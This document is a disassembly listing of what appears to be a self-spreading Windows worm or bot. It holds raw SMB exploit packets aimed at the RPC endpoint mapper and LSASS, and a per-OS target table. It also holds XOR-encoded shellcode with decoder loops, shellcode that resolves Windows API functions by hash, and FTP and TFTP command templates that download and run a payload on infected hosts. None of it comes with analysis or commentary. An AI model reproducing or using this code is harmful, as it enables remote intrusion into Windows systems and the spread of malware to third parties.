		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4269F8	dd 20h,	0		; DATA XREF: sub_402B7B+136o
		dd 20h,	5C005Ch, 0
off_426A0C	dd offset off_43005C	; DATA XREF: sub_402B7B+15Do
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		dd 0
dword_426A4C	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_402B7B+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx:			; DATA XREF: sub_402B7B+45o
		unicode	0, <FXNBFXFXNBFXFXFXFX>
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_426B5C	dd 18759Fh		; DATA XREF: sub_402B7B+104o
dword_426B60	dd 100139Dh		; DATA XREF: sub_402B7B+FBo
asc_426B64:				; DATA XREF: sub_4029E0+1Co
					; sub_402AC3+16o
		unicode	0, <\\>,0
		align 4
off_426B6C	dd offset byte_49005C	; DATA XREF: sub_4029E0+Co
					; sub_402AC3+Bo
		dd offset off_430050
		dd 24h
; char unk_426B78
unk_426B78	db    2			; DATA XREF: sub_402DCE+299o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTransferComple	db '  transfer complete to IP: %s',0
		align 10h
; char aSPipeEpmapper[]
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_402DCE+41o
		align 8
		jmp	short loc_426BDA

; =============== S U B	R O U T	I N E =======================================



sub_426BCA	proc far		; CODE XREF: sub_426BCA:loc_426BDAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_426BD2:				; CODE XREF: sub_426BCA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_426BD2
		jmp	short loc_426BDF
; ---------------------------------------------------------------------------


loc_426BDA:				; CODE XREF: UPX0:00426BC8j
		call	near ptr sub_426BCA


loc_426BDF:				; CODE XREF: sub_426BCA+Ej
		jo	short loc_426C43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_426C61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_426C43:				; CODE XREF: sub_426BCA:loc_426BDFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_426C61:				; CODE XREF: sub_426BCA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_426BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; char Str[]
Str		db 'ë'                  ; DATA XREF: sub_403240+156o
					; sub_403240+212o
; ---------------------------------------------------------------------------
		adc	[edx+4Ah], bl
		xor	ecx, ecx
		mov	cx, 17Dh


loc_426D12:				; CODE XREF: UPX0:00426D16j
		xor	byte ptr [edx+ecx], 99h
		loop	loc_426D12
		jmp	short loc_426D1F
; ---------------------------------------------------------------------------
		dw 0EBE8h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_426D1F:				; CODE XREF: UPX0:00426D18j
		jo	short near ptr dword_426C98+1Eh
		cwde
		cdq
		cdq
		retn
; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_426DB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_403240+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_426EA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: UPX0:00403704o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426F2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: UPX0:00403730o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_426FD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: UPX0:00403757o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4270B8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_2:					; DATA XREF: sub_403240+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_42711C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_427188	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42722C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4272AC	dd offset loc_401495	; DATA XREF: sub_403240+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_427340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4273AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403240+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_427420	dd 0			; DATA XREF: sub_403240+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4274E0	dd 1004600h		; DATA XREF: sub_403240+140r
					; sub_403240+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
; char aS_6[]
aS_6		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4030DF+102o
					; sub_405145+DFo ...
		align 10h
; char aEchoOpenSDOEch[]
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030DF+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
; char aTftpISGetS[]
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030DF+97o
dword_427620	dd 6EB06EBh, 0		; DATA XREF: sub_403240+177o
; char aSIpc[]
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_403240+27o
					; sub_404950+33o
		align 4
dword_427634	dd 1CEC8166h		; DATA XREF: sub_403240+Dr
dword_427638	dd 0E4FF07h		; DATA XREF: sub_403240+16r
byte_42763C	db 90h			; DATA XREF: sub_403A87+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_427648	dd 10FF8h, 0		; DATA XREF: sub_403A87+6Ao
dword_427650	dd 10FF8h		; DATA XREF: sub_403A87+79o
dword_427654	dd 7FFDF020h, 0		; DATA XREF: sub_403A87+162o
dword_42765C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EB1+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4276E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EB1+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_427714	dd 0			; DATA XREF: sub_403EB1+44o
		dd 800000D4h, 0
unk_427720	db  81h	; 		; DATA XREF: sub_403F8B+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42776C	db 41h			; DATA XREF: sub_404029+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; DATA XREF: UPX0:00404306o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4278AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4278C2
		mov	[esi+8], eax
		call	sub_427875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4278C2
		mov	[esi+0Ch], eax
		call	sub_427827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4278C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4277B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_427827	proc near		; CODE XREF: sub_4277B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_427850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_427827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_427827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42785F:				; CODE XREF: sub_427850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42786C
		inc	ebx
		jmp	short loc_42785F
; ---------------------------------------------------------------------------


loc_42786C:				; CODE XREF: sub_427850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_427850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427875	proc near		; CODE XREF: sub_4277B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42788D:				; CODE XREF: sub_427875+1Ej
		cmp	[ecx], ebx
		jz	short loc_427895
		mov	ecx, [ecx]
		jmp	short loc_42788D
; ---------------------------------------------------------------------------


loc_427895:				; CODE XREF: sub_427875+1Aj
		mov	edx, edi


loc_427897:				; CODE XREF: sub_427875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4278A1
		mov	edx, [edx+4]
		jmp	short loc_427897
; ---------------------------------------------------------------------------


loc_4278A1:				; CODE XREF: sub_427875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_427875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4278AC	proc near		; CODE XREF: sub_4277B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4278AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4278C2	proc near		; CODE XREF: sub_4277B0+16p
					; sub_4277B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4278D8:				; CODE XREF: sub_4278C2+33j
		jecxz	short loc_427912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4278E5:				; CODE XREF: sub_4278C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4278F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4278E5
; ---------------------------------------------------------------------------


loc_4278F1:				; CODE XREF: sub_4278C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4278D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_427912:				; CODE XREF: sub_4278C2:loc_4278D8j
					; sub_4278C2:loc_427912j
		jmp	short loc_427912
sub_4278C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_427918	proc near		; DATA XREF: UPX0:004042B6o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42796A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_427935:				; CODE XREF: sub_427918+38j
		jecxz	short loc_427965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_427940:				; CODE XREF: sub_427918+32j
		lodsb
		test	al, al
		jz	short loc_42794C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_427940
; ---------------------------------------------------------------------------


loc_42794C:				; CODE XREF: sub_427918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_427935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_427965:				; CODE XREF: sub_427918:loc_427935j
		mov	[esp+arg_0], ebx
		retn
sub_427918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42796A	proc near		; CODE XREF: sub_427918+7p

; FUNCTION CHUNK AT 004279A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_427983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42798E
; ---------------------------------------------------------------------------


loc_427983:				; CODE XREF: sub_42796A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42798E:				; CODE XREF: sub_42796A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4279A2
sub_42796A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427995	proc near		; CODE XREF: sub_42796A:loc_4279A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_427995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42796A


loc_4279A2:				; CODE XREF: sub_42796A+29j
		call	sub_427995


loc_4279A7:				; DATA XREF: sub_403A2C+1Bo
					; sub_40EE51+819o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42796A
; ---------------------------------------------------------------------------
		db 3 dup(0)
; char dword_4279AC[]
dword_4279AC	dd 60h			; DATA XREF: sub_403A87+320o
; char dword_4279B0[]
dword_4279B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A87+2F5o
; char dword_4279BC[]
dword_4279BC	dd 30h			; DATA XREF: sub_403A87+2CAo
					; UPX0:0042EA08o
; char dword_4279C0[]
dword_4279C0	dd 0A1h			; DATA XREF: sub_403A87+29Fo
dword_4279C4	dd 3			; DATA XREF: sub_403A87+246o
; char aCccc[]
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A87+153o
		align 10h

; char loc_4279D0

loc_4279D0:				; DATA XREF: sub_403A87+E8o
		jmp	short near ptr dword_4279D8
; ---------------------------------------------------------------------------
		align 8
dword_4279D8	dd 0			; CODE XREF: UPX0:loc_4279D0j
; char aCmdCEchoOpenSD[]
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: UPX0:004042DBo
					; sub_404E55+92o ...
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_427A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404950+2B0o
; ---------------------------------------------------------------------------


loc_427A5C:				; CODE XREF: UPX0:00427A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_427A5C
		inc	edi
		jz	short loc_427AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_427ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_427AA3:				; CODE XREF: UPX0:00427A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_427B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_427AC8:				; CODE XREF: UPX0:00427AF5j
		xor	[esi-25h], bl


loc_427ACB:				; CODE XREF: UPX0:00427A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_427AE4:				; CODE XREF: UPX0:00427B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_427AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_427B02:				; CODE XREF: UPX0:00427AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_427B8E
		jo	short loc_427AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_427B25+1
		add	bl, [edi]


loc_427B25:				; CODE XREF: UPX0:00427B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_427B3A+2
		cmp	ch, bh
		dec	edx


loc_427B3A:				; CODE XREF: UPX0:00427B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_427B8E:				; CODE XREF: UPX0:00427B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_427C14
		sub	al, 0BCh
		jmp	near ptr 54447F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_427BB0	dd 0EFFFC481h, 44FFFFh,	427BFCh	; DATA XREF: sub_404950+297o
